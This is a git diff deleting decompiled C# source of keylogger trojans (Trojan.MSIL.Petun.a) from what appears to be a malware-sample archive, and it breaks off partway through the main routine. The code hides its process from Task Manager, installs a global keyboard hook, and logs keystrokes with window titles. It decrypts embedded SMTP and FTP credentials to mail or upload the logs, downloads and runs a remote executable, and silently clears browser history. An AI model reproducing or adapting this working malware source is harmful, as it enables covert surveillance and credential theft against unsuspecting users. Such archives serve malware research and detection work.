/dev/null @@ -1,113 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: TnSqIUJGz -// Assembly: Multi, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BBCF6EA4-3682-4E32-B553-2ADB229A2BF3 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Petun.a-84e29609cc4534d4a145505ff05b3083429c8136dfd8f7df098cf6954e3fe363.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Runtime.InteropServices; -using System.Text; -using System.Windows.Forms; - -[StandardModule] -internal sealed class TnSqIUJGz -{ - private const int LVM_FIRST = 4096; - private const int LVM_DELETECOLUMN = 4124; - private static Timer t = new Timer(); - - [DllImport("user32", EntryPoint = "SendMessageA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int SendMessage(IntPtr Hwnd, int wMsg, int wParam, int lParam); - - [DllImport("user32.dll", EntryPoint = "FindWindowA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int FindWindow([MarshalAs(UnmanagedType.VBByRefStr)] ref string lpClassName, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpWindowName); - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int EnumChildWindows( - IntPtr hWndParent, - TnSqIUJGz.EnumDelegate lpEnumFunc, - int lParam); - - [DllImport("user32.dll", EntryPoint = "GetClassNameA", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern long GetClassName(long hWnd, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpClassName, long nMaxCount); - - [DllImport("user32", EntryPoint = "GetClassNameA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetClassName(IntPtr hWnd, StringBuilder lpClassName, int nMaxCount); - - [DllImport("user32", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int cch); - - [DllImport("user32", EntryPoint = "GetWindowTextLengthA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowTextLength(IntPtr hWnd); - - private static void t_Tick(object sender, EventArgs e) - { - string str1 = (string) null; - ref string local1 = ref str1; - string str2 = "Windows Task Manager"; - ref string local2 = ref str2; - IntPtr window = (IntPtr) TnSqIUJGz.FindWindow(ref local1, ref local2); - if (!(window != (IntPtr) 0)) - return; - TnSqIUJGz.EnumChildWindows(window, new TnSqIUJGz.EnumDelegate(TnSqIUJGz.EnumChildWindows), 0); - } - - public static bool Running - { - get => TnSqIUJGz.t.Enabled; - set - { - if (value) - { - if (TnSqIUJGz.t.Interval != 500) - { - Timer t = TnSqIUJGz.t; - TnSqIUJGz.t.Tick += new EventHandler(TnSqIUJGz.t_Tick); - t.Interval = 500; - t.Enabled = true; - t.Start(); - } - else - { - TnSqIUJGz.t.Enabled = true; - TnSqIUJGz.t.Start(); - } - } - else - { - TnSqIUJGz.t.Enabled = false; - TnSqIUJGz.t.Stop(); - } - } - } - - private static int EnumChildWindows(IntPtr lngHwnd, int lngLParam) - { - string str = TnSqIUJGz.GetClass(lngHwnd); - string titleText = TnSqIUJGz.GetTitleText(lngHwnd); - lngHwnd.ToString() + ", " + str + ", " + titleText; - return 1; - } - - private static string GetClass(IntPtr handle) - { - StringBuilder lpClassName = new StringBuilder(); - lpClassName.Length = (int) byte.MaxValue; - TnSqIUJGz.GetClassName(handle, lpClassName, lpClassName.Length); - if (Strings.InStr(lpClassName.ToString(), "SysListView32") != 0) - TnSqIUJGz.SendMessage(handle, 4124, (int) (IntPtr) 0, 0); - return lpClassName.ToString(); - } - - private static string GetTitleText(IntPtr handle) - { - StringBuilder lpString = new StringBuilder(); - lpString.Length = checked (TnSqIUJGz.GetWindowTextLength(handle) + 1); - TnSqIUJGz.GetWindowText(handle, lpString, lpString.Length); - return lpString.ToString(); - } - - private delegate int EnumDelegate(IntPtr lngHwnd, int lngLParam); -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-84e29609cc4534d4a145505ff05b3083429c8136dfd8f7df098cf6954e3fe363/Trojan.MSIL.Petun.a.csproj b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-84e29609cc4534d4a145505ff05b3083429c8136dfd8f7df098cf6954e3fe363/Trojan.MSIL.Petun.a.csproj deleted file mode 100644 index 32c51524..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-84e29609cc4534d4a145505ff05b3083429c8136dfd8f7df098cf6954e3fe363/Trojan.MSIL.Petun.a.csproj +++ /dev/null @@ -1,48 +0,0 @@ - - - - - Debug - AnyCPU - {28751A08-9084-42D0-B0CA-691B6717C379} - WinExe - Multi - 0.0.0.0 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-84e29609cc4534d4a145505ff05b3083429c8136dfd8f7df098cf6954e3fe363/Trojan.MSIL.Petun.a.sln b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-84e29609cc4534d4a145505ff05b3083429c8136dfd8f7df098cf6954e3fe363/Trojan.MSIL.Petun.a.sln deleted file mode 100644 index 07f9adea..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-84e29609cc4534d4a145505ff05b3083429c8136dfd8f7df098cf6954e3fe363/Trojan.MSIL.Petun.a.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Multi", "Trojan.MSIL.Petun.a-84e29609cc4534d4a145505ff05b3083429c8136dfd8f7df098cf6954e3fe363.csproj", "{28751A08-9084-42D0-B0CA-691B6717C379}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {28751A08-9084-42D0-B0CA-691B6717C379}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {28751A08-9084-42D0-B0CA-691B6717C379}.Debug|Any CPU.Build.0 = Debug|Any CPU - {28751A08-9084-42D0-B0CA-691B6717C379}.Release|Any CPU.ActiveCfg = Release|Any CPU - {28751A08-9084-42D0-B0CA-691B6717C379}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-88d165851c7a551135258d9b10d6c19c7a80293fa19bc5e026637326fc00902f/AssemblyInfo.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-88d165851c7a551135258d9b10d6c19c7a80293fa19bc5e026637326fc00902f/AssemblyInfo.cs deleted file mode 100644 index 1e886428..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-88d165851c7a551135258d9b10d6c19c7a80293fa19bc5e026637326fc00902f/AssemblyInfo.cs +++ /dev/null @@ -1,3 +0,0 @@ -using System.Reflection; - -[assembly: AssemblyVersion("0.0.0.0")] diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-88d165851c7a551135258d9b10d6c19c7a80293fa19bc5e026637326fc00902f/DcFjhPEYP.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-88d165851c7a551135258d9b10d6c19c7a80293fa19bc5e026637326fc00902f/DcFjhPEYP.cs deleted file mode 100644 index 26957ac0..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-88d165851c7a551135258d9b10d6c19c7a80293fa19bc5e026637326fc00902f/DcFjhPEYP.cs +++ /dev/null @@ -1,113 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DcFjhPEYP -// Assembly: Ugne, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B7991DDA-495F-4622-A06A-2445C5692569 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Petun.a-88d165851c7a551135258d9b10d6c19c7a80293fa19bc5e026637326fc00902f.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Runtime.InteropServices; -using System.Text; -using System.Windows.Forms; - -[StandardModule] -internal sealed class DcFjhPEYP -{ - private const int LVM_FIRST = 4096; - private const int LVM_DELETECOLUMN = 4124; - private static Timer t = new Timer(); - - [DllImport("user32", EntryPoint = "SendMessageA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int SendMessage(IntPtr Hwnd, int wMsg, int wParam, int lParam); - - [DllImport("user32.dll", EntryPoint = "FindWindowA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int FindWindow([MarshalAs(UnmanagedType.VBByRefStr)] ref string lpClassName, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpWindowName); - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int EnumChildWindows( - IntPtr hWndParent, - DcFjhPEYP.EnumDelegate lpEnumFunc, - int lParam); - - [DllImport("user32.dll", EntryPoint = "GetClassNameA", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern long GetClassName(long hWnd, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpClassName, long nMaxCount); - - [DllImport("user32", EntryPoint = "GetClassNameA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetClassName(IntPtr hWnd, StringBuilder lpClassName, int nMaxCount); - - [DllImport("user32", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int cch); - - [DllImport("user32", EntryPoint = "GetWindowTextLengthA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowTextLength(IntPtr hWnd); - - private static void t_Tick(object sender, EventArgs e) - { - string str1 = (string) null; - ref string local1 = ref str1; - string str2 = "Windows Task Manager"; - ref string local2 = ref str2; - IntPtr window = (IntPtr) DcFjhPEYP.FindWindow(ref local1, ref local2); - if (!(window != (IntPtr) 0)) - return; - DcFjhPEYP.EnumChildWindows(window, new DcFjhPEYP.EnumDelegate(DcFjhPEYP.EnumChildWindows), 0); - } - - public static bool Running - { - get => DcFjhPEYP.t.Enabled; - set - { - if (value) - { - if (DcFjhPEYP.t.Interval != 500) - { - Timer t = DcFjhPEYP.t; - DcFjhPEYP.t.Tick += new EventHandler(DcFjhPEYP.t_Tick); - t.Interval = 500; - t.Enabled = true; - t.Start(); - } - else - { - DcFjhPEYP.t.Enabled = true; - DcFjhPEYP.t.Start(); - } - } - else - { - DcFjhPEYP.t.Enabled = false; - DcFjhPEYP.t.Stop(); - } - } - } - - private static int EnumChildWindows(IntPtr lngHwnd, int lngLParam) - { - string str = DcFjhPEYP.GetClass(lngHwnd); - string titleText = DcFjhPEYP.GetTitleText(lngHwnd); - lngHwnd.ToString() + ", " + str + ", " + titleText; - return 1; - } - - private static string GetClass(IntPtr handle) - { - StringBuilder lpClassName = new StringBuilder(); - lpClassName.Length = (int) byte.MaxValue; - DcFjhPEYP.GetClassName(handle, lpClassName, lpClassName.Length); - if (Strings.InStr(lpClassName.ToString(), "SysListView32") != 0) - DcFjhPEYP.SendMessage(handle, 4124, (int) (IntPtr) 0, 0); - return lpClassName.ToString(); - } - - private static string GetTitleText(IntPtr handle) - { - StringBuilder lpString = new StringBuilder(); - lpString.Length = checked (DcFjhPEYP.GetWindowTextLength(handle) + 1); - DcFjhPEYP.GetWindowText(handle, lpString, lpString.Length); - return lpString.ToString(); - } - - private delegate int EnumDelegate(IntPtr lngHwnd, int lngLParam); -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-88d165851c7a551135258d9b10d6c19c7a80293fa19bc5e026637326fc00902f/Module1.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-88d165851c7a551135258d9b10d6c19c7a80293fa19bc5e026637326fc00902f/Module1.cs deleted file mode 100644 index 74b8a5e7..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-88d165851c7a551135258d9b10d6c19c7a80293fa19bc5e026637326fc00902f/Module1.cs +++ /dev/null @@ -1,1204 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Module1 -// Assembly: Ugne, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B7991DDA-495F-4622-A06A-2445C5692569 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Petun.a-88d165851c7a551135258d9b10d6c19c7a80293fa19bc5e026637326fc00902f.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.Win32; -using My; -using System; -using System.Diagnostics; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Net; -using System.Net.Mail; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Security.Cryptography; -using System.Text; -using System.Threading; -using System.Windows.Forms; - -[StandardModule] -internal sealed class Module1 -{ - private static bool lEYqlbH = true; - private static bool FjvvLPS = false; - private static bool WrUYmwRf = false; - private static bool OSrSdXpm = false; - private static bool FsCZUxzg = false; - private static bool czGNrFEU = false; - private static string RTnQVifO = "1"; - private static string tYwOoPaU = "AaD"; - private static int OWXgFyceL = 1; - private static string xFMcDDSJL = "Vgjy"; - public static string SfpZYMMnv = "CurrentUser"; - private static string XRjgDmxDy = "CENXSu"; - private static string QgMTl = "tifZroMhGM"; - private static string LJOzs = "iexplorer.exe"; - private static string SDDate = "+SDDate+"; - private static bool TakeScrns = false; - private static string[] Message = new string[3] - { - "+MsgFalse+", - "+MsgMsg+", - "+Ico+" - }; - private static string Delay = "+DelOff+"; - private static bool FRMsg = false; - private static bool GKNEd = false; - private static string Zukbpzi = "http://www.exampleserver.com/directfile.exe"; - private static bool NfRVujg = false; - private static string JUXmIJT = "setup.exe"; - private static bool kpMTa = true; - private static bool eUzuuty = false; - private static string EtwoNqV = "nP0IfXbisuLVKRHojI5UPQ=="; - private static string DaIlBhnHP = "ftp.exampleserver.com"; - private static string FPyxllM = "3E8nd725nZ0jRqz2Yw5L4g=="; - private static string TfTQKcawg = "/"; - private static string knfET = "smtp.gmail.com"; - private static string Bdivs = "vSynA49wjVMXps0wEeypwE/M0dOJ9iHi"; - private static string pxLmG = "6kO6epgC84vQSY7SES6KUw=="; - private static string cnhzi = "iclawhard3@gmail.com"; - private static string irPKnpWcv = "587"; - private static string XnOOdUWOn = "----[ "; - private static string pYXLLmuHj = " ]----"; - private static bool fClwCyKbc; - private static bool MUKpkljoZ; - private static bool EgLvrfzqh = true; - private static bool vXtGUC = true; - private static bool UOgdBW = true; - private static bool avxHRM = true; - private const int eybftE = 257; - private const short WUwev = 256; - private const int wqJGd = 260; - private const int XoDYM = 261; - private static IntPtr KeyboardHandle = (IntPtr) 0; - private static string LastCheckedForegroundTitle = ""; - private static Module1.KeyboardHookDelegate callback = (Module1.KeyboardHookDelegate) null; - private static string Fuajji; - - public static string eUzJJINx - { - get => Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData); - set - { - } - } - - public static string DbqjTCEY - { - get => Environment.GetFolderPath(Environment.SpecialFolder.Favorites); - set - { - } - } - - public static string NjiKrJuy - { - get => Environment.GetFolderPath(Environment.SpecialFolder.Personal); - set - { - } - } - - public static string kdZkCRmZ - { - get => Environment.GetFolderPath(Environment.SpecialFolder.System); - set - { - } - } - - public static string sZtyH - { - get => Environment.GetFolderPath(Environment.SpecialFolder.System).Replace("\\system32", ""); - set - { - } - } - - public static string LT - { - get => Environment.MachineName + " - " + DateTime.Now.ToString().Replace(" ", "-").Replace("/", "-").Replace(":", "."); - set - { - } - } - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int CallNextHookEx( - int hHook, - int nCode, - int wParam, - Module1.aspMiHN lParam); - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int RksiOJKIN(int hHook); - - [DllImport("user32", EntryPoint = "SetWindowsHookExA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int SetWindowsHookEx( - int idHook, - Module1.KeyboardHookDelegate lpfn, - int hmod, - int dwThreadId); - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetAsyncKeyState(int vKey); - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetForegroundWindow(); - - [DllImport("user32.dll", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowText(int hwnd, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpString, int cch); - - private static string XaSrGyj() - { - string str; - try - { - string lpString = new string(char.MinValue, 100); - Module1.GetWindowText(Module1.GetForegroundWindow(), ref lpString, 100); - str = lpString.Substring(0, checked (Strings.InStr(lpString, "\0") - 1)); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str = ""; - ProjectData.ClearProjectError(); - } - return str; - } - - private static object bBBckxZ() - { - object obj; - try - { - obj = (object) (Module1.KeyboardHandle != (IntPtr) 0); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - obj = (object) ""; - ProjectData.ClearProjectError(); - } - return obj; - } - - public static void PQOTFx() - { - try - { - Module1.callback = new Module1.KeyboardHookDelegate(Module1.BGOEjrsq); - Module1.KeyboardHandle = (IntPtr) Module1.SetWindowsHookEx(13, Module1.callback, (int) Process.GetCurrentProcess().MainModule.BaseAddress, 0); - int num = Module1.KeyboardHandle != (IntPtr) 0 ? 1 : 0; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public static void UEaKVaWiz() - { - try - { - if (!Conversions.ToBoolean(Module1.bBBckxZ()) || Module1.RksiOJKIN((int) Module1.KeyboardHandle) == 0) - return; - Module1.KeyboardHandle = (IntPtr) 0; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public static string JfEvrEUj( - ref string strSource, - ref string strStart, - ref string strEnd, - ref int startPos = 0) - { - int length = strStart.Length; - string str = string.Empty; - int num1 = strSource.IndexOf(strStart, startPos); - int num2 = strSource.IndexOf(strEnd, checked (num1 + length)); - if (num1 != -1 && num2 != -1) - str = strSource.Substring(checked (num1 + length), checked (num2 - num1 + length)); - return str; - } - - public static int BGOEjrsq(int Code, int wParam, ref Module1.aspMiHN lParam) - { - int num; - try - { - object obj = (object) Module1.XaSrGyj(); - if (Operators.ConditionalCompareObjectNotEqual(obj, (object) Module1.LastCheckedForegroundTitle, false)) - { - Module1.LastCheckedForegroundTitle = Conversions.ToString(obj); - Module1.Fuajji = Conversions.ToString(Operators.ConcatenateObject((object) Module1.Fuajji, Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject((object) ("\r\n" + Module1.XnOOdUWOn), obj), (object) " - "), (object) DateAndTime.Now.ToString()), (object) Module1.pYXLLmuHj), (object) "\r\n"))); - } - string Left = ""; - if (wParam == 256 | wParam == 260) - { - if (Code >= 0 && MyProject.Computer.Keyboard.CtrlKeyDown & MyProject.Computer.Keyboard.AltKeyDown & lParam.vkCode == 83) - { - num = 1; - goto label_130; - } - else - { - switch (lParam.vkCode) - { - case 8: - if (Module1.Fuajji.EndsWith(Module1.pYXLLmuHj + "\r\n") | !Module1.vXtGUC) - { - Left = "[BS]"; - break; - } - Module1.Fuajji = Module1.Fuajji.Remove(checked (Module1.Fuajji.ToString().Length - 1)); - Left = ""; - break; - case 9: - Left = "\t"; - break; - case 13: - Left = "\r\n"; - break; - case 20: - if (Module1.EgLvrfzqh) - { - Module1.MUKpkljoZ = !MyProject.Computer.Keyboard.CapsLock; - break; - } - Left = !MyProject.Computer.Keyboard.CapsLock ? "[cl]" : "[/cl]"; - break; - case 27: - Left = " [esc] "; - break; - case 32: - Left = " "; - break; - case 37: - Left = "[<]"; - break; - case 38: - Left = "[^]"; - break; - case 39: - Left = "[>]"; - break; - case 40: - Left = "[V]"; - break; - case 46: - Left = " [dlt] "; - break; - case 48: - case 49: - case 50: - case 51: - case 52: - case 53: - case 54: - case 55: - case 56: - case 57: - if (Module1.fClwCyKbc) - { - Left = Conversions.ToString(Strings.ChrW(lParam.vkCode)); - if (Operators.CompareString(Left, "1", false) == 0) - { - Left = "!"; - break; - } - if (Operators.CompareString(Left, "2", false) == 0) - { - Left = "@"; - break; - } - if (Operators.CompareString(Left, "3", false) == 0) - { - Left = "#"; - break; - } - if (Operators.CompareString(Left, "4", false) == 0) - { - Left = "$"; - break; - } - if (Operators.CompareString(Left, "5", false) == 0) - { - Left = "%"; - break; - } - if (Operators.CompareString(Left, "6", false) == 0) - { - Left = "^"; - break; - } - if (Operators.CompareString(Left, "7", false) == 0) - { - Left = "&"; - break; - } - if (Operators.CompareString(Left, "8", false) == 0) - { - Left = "*"; - break; - } - if (Operators.CompareString(Left, "9", false) == 0) - { - Left = "("; - break; - } - if (Operators.CompareString(Left, "0", false) == 0) - { - Left = ")"; - break; - } - break; - } - Left = Conversions.ToString(Strings.ChrW(lParam.vkCode)); - break; - case 65: - case 66: - case 67: - case 68: - case 69: - case 70: - case 71: - case 72: - case 73: - case 74: - case 75: - case 76: - case 77: - case 78: - case 79: - case 80: - case 81: - case 82: - case 83: - case 84: - case 85: - case 86: - case 87: - case 88: - case 89: - case 90: - Left = !(Module1.fClwCyKbc | Module1.MUKpkljoZ) ? Conversions.ToString(Strings.ChrW(checked (lParam.vkCode + 32))) : Conversions.ToString(Strings.ChrW(checked (lParam.vkCode + 32))).ToUpper(); - break; - case 96: - case 97: - case 98: - case 99: - case 100: - case 101: - case 102: - case 103: - case 104: - case 105: - Left = Conversions.ToString(Strings.ChrW(lParam.vkCode)); - if (Operators.CompareString(Left, "a", false) == 0) - Left = Conversions.ToString(1); - if (Operators.CompareString(Left, "b", false) == 0) - Left = Conversions.ToString(2); - if (Operators.CompareString(Left, "c", false) == 0) - Left = Conversions.ToString(3); - if (Operators.CompareString(Left, "d", false) == 0) - Left = Conversions.ToString(4); - if (Operators.CompareString(Left, "e", false) == 0) - Left = Conversions.ToString(5); - if (Operators.CompareString(Left, "f", false) == 0) - Left = Conversions.ToString(6); - if (Operators.CompareString(Left, "g", false) == 0) - Left = Conversions.ToString(7); - if (Operators.CompareString(Left, "h", false) == 0) - Left = Conversions.ToString(8); - if (Operators.CompareString(Left, "i", false) == 0) - Left = Conversions.ToString(9); - if (Operators.CompareString(Left, "`", false) == 0) - { - Left = Conversions.ToString(0); - break; - } - break; - case 109: - case 189: - Left = !Module1.fClwCyKbc ? "-" : "_"; - break; - case 110: - case 190: - Left = Module1.fClwCyKbc ? ">" : "."; - break; - case 112: - case 113: - case 114: - case 115: - case 116: - case 117: - case 118: - case 119: - case 120: - case 121: - case 122: - case 123: - case 124: - case 125: - case 126: - case (int) sbyte.MaxValue: - case 128: - case 129: - case 130: - case 131: - case 132: - case 133: - case 134: - case 135: - Left = "[F" + Conversions.ToString(checked (lParam.vkCode - 111)) + "]"; - break; - case 160: - case 161: - if (!Module1.EgLvrfzqh) - { - Left = " [fClwCyKbc] "; - break; - } - Module1.fClwCyKbc = true; - break; - case 162: - case 163: - Left = " [ctrl] "; - break; - case 164: - Left = " [alt] "; - break; - case 165: - Left = " [ralt] "; - break; - default: - Left = Conversions.ToString(lParam.vkCode); - if (Module1.fClwCyKbc) - { - if (Operators.CompareString(Left, "192", false) == 0) - Left = "~"; - if (Operators.CompareString(Left, "219", false) == 0) - Left = "{"; - if (Operators.CompareString(Left, "221", false) == 0) - Left = "}"; - if (Operators.CompareString(Left, "220", false) == 0) - Left = "|"; - if (Operators.CompareString(Left, "222", false) == 0) - Left = "\""; - if (Operators.CompareString(Left, "186", false) == 0) - Left = ":"; - if (Operators.CompareString(Left, "188", false) == 0) - Left = "<"; - if (Operators.CompareString(Left, "191", false) == 0) - Left = "?"; - if (Operators.CompareString(Left, "187", false) == 0) - Left = "+"; - } - else if (!Module1.fClwCyKbc) - { - if (Operators.CompareString(Left, "192", false) == 0) - Left = "`"; - if (Operators.CompareString(Left, "219", false) == 0) - Left = "["; - if (Operators.CompareString(Left, "221", false) == 0) - Left = "]"; - if (Operators.CompareString(Left, "220", false) == 0) - Left = "\\"; - if (Operators.CompareString(Left, "222", false) == 0) - Left = "'"; - if (Operators.CompareString(Left, "186", false) == 0) - Left = ";"; - if (Operators.CompareString(Left, "188", false) == 0) - Left = ","; - if (Operators.CompareString(Left, "191", false) == 0) - Left = "/"; - if (Operators.CompareString(Left, "187", false) == 0) - Left = "="; - } - if (Operators.CompareString(Left, "107", false) == 0) - Left = "+"; - if (Operators.CompareString(Left, "107", false) == 0) - Left = "*"; - if (Operators.CompareString(Left, "111", false) == 0) - Left = "/"; - if (Operators.CompareString(Left, "44", false) == 0) - { - Left = " [SS] "; - break; - } - break; - } - } - } - else if (wParam == 257 | wParam == 261) - { - switch (lParam.vkCode) - { - case 160: - case 161: - if (!Module1.EgLvrfzqh) - Left = "[/fClwCyKbc]"; - Module1.fClwCyKbc = false; - break; - case 162: - case 163: - Left = "[/ctrl]"; - break; - case 164: - Left = "[/lalt]"; - break; - case 165: - Left = "[/ralt]"; - break; - } - } - Module1.Fuajji += Left; - if (Operators.CompareString(Left, "", false) == 0) - ; - num = Module1.CallNextHookEx((int) Module1.KeyboardHandle, Code, wParam, lParam); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - num = Conversions.ToInteger(""); - ProjectData.ClearProjectError(); - } -label_130: - return num; - } - - [STAThread] - public static void Main() - { - if (!Module1.SDDate.Contains("SDDate+") && DateTime.Compare(DateAndTime.Today.Date, Conversions.ToDate(Module1.SDDate)) == 0) - Module1.GlVR(); - if (!Module1.Delay.Contains("DelOff+")) - Module1.IkEjHZlZ(Conversions.ToInteger(Module1.Delay)); - string tYwOoPaU = Module1.tYwOoPaU; - Module1.tYwOoPaU = Operators.CompareString(tYwOoPaU, "AaD", false) != 0 ? (Operators.CompareString(tYwOoPaU, "FaF", false) != 0 ? (Operators.CompareString(tYwOoPaU, "MaD", false) != 0 ? (Operators.CompareString(tYwOoPaU, "SaF", false) != 0 ? (Operators.CompareString(tYwOoPaU, "WaF", false) != 0 ? Module1.tYwOoPaU : Module1.sZtyH) : Module1.kdZkCRmZ) : Module1.NjiKrJuy) : Module1.DbqjTCEY) : Module1.eUzJJINx; - Module1.Bdivs = Module1.TripleDESDecode(Module1.Bdivs, "System.Net"); - Module1.pxLmG = Module1.TripleDESDecode(Module1.pxLmG, "System.Net"); - Module1.EtwoNqV = Module1.TripleDESDecode(Module1.EtwoNqV, "System.Net"); - Module1.FPyxllM = Module1.TripleDESDecode(Module1.FPyxllM, "System.Net"); - Module1.LJOzs = "\\" + Module1.LJOzs; - if (Operators.CompareString(Application.StartupPath, Module1.tYwOoPaU, false) != 0) - { - if (!Module1.Message[0].Contains("MsgFalse+")) - { - MessageBoxIcon messageBoxIcon = new MessageBoxIcon(); - MessageBoxIcon integer = (MessageBoxIcon) Conversions.ToInteger(Module1.Message[2]); - int num = (int) MessageBox.Show(Module1.Message[1], Module1.Message[0], MessageBoxButtons.OK, integer); - } - if (System.IO.File.Exists(Module1.tYwOoPaU + Module1.LJOzs)) - ProjectData.EndApp(); - if (Module1.FRMsg) - { - string str1; - if (Module1.kpMTa) - { - ref string local1 = ref Module1.knfET; - ref string local2 = ref Module1.Bdivs; - ref string local3 = ref Module1.pxLmG; - ref string local4 = ref Module1.cnhzi; - string str2 = "[First Run] Neptune - " + Environment.MachineName + " - " + Environment.UserName; - ref string local5 = ref str2; - str1 = "Hello, this is an email letting you know that your keylogger has been freshly installed on the computer in the title. Thank you."; - ref string local6 = ref str1; - int integer = Conversions.ToInteger(Module1.irPKnpWcv); - ref int local7 = ref integer; - Module1.SendEmail(ref local1, ref local2, ref local3, ref local4, ref local5, ref local6, ref local7); - Module1.irPKnpWcv = Conversions.ToString(integer); - } - if (Module1.eUzuuty) - { - ref string local8 = ref Module1.DaIlBhnHP; - ref string local9 = ref Module1.TfTQKcawg; - ref string local10 = ref Module1.EtwoNqV; - ref string local11 = ref Module1.FPyxllM; - str1 = "Hello, this is a message letting you know that you keylogger has been installed on " + Environment.MachineName + "."; - ref string local12 = ref str1; - Module1.UpFTP(ref local8, ref local9, ref local10, ref local11, ref local12); - } - } - if (Module1.GKNEd) - { - if (System.IO.File.Exists(Path.GetTempPath() + Module1.JUXmIJT)) - System.IO.File.Delete(Path.GetTempPath() + Module1.JUXmIJT); - MyProject.Computer.Network.DownloadFile(Module1.Zukbpzi, Path.GetTempPath() + Module1.JUXmIJT); - if (System.IO.File.Exists(Path.GetTempPath() + Module1.JUXmIJT)) - { - if (Module1.NfRVujg) - Process.Start(Path.GetTempPath() + Module1.JUXmIJT, Conversions.ToString(new ProcessStartInfo().WindowStyle == ProcessWindowStyle.Normal)); - else - Process.Start(Path.GetTempPath() + Module1.JUXmIJT); - } - } - if (Module1.lEYqlbH) - { - Interaction.Shell("RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 8", AppWinStyle.Hide); - Interaction.Shell("RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 1", AppWinStyle.Hide); - Interaction.Shell("RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 2", AppWinStyle.Hide); - } - if (Module1.OWXgFyceL == 2) - 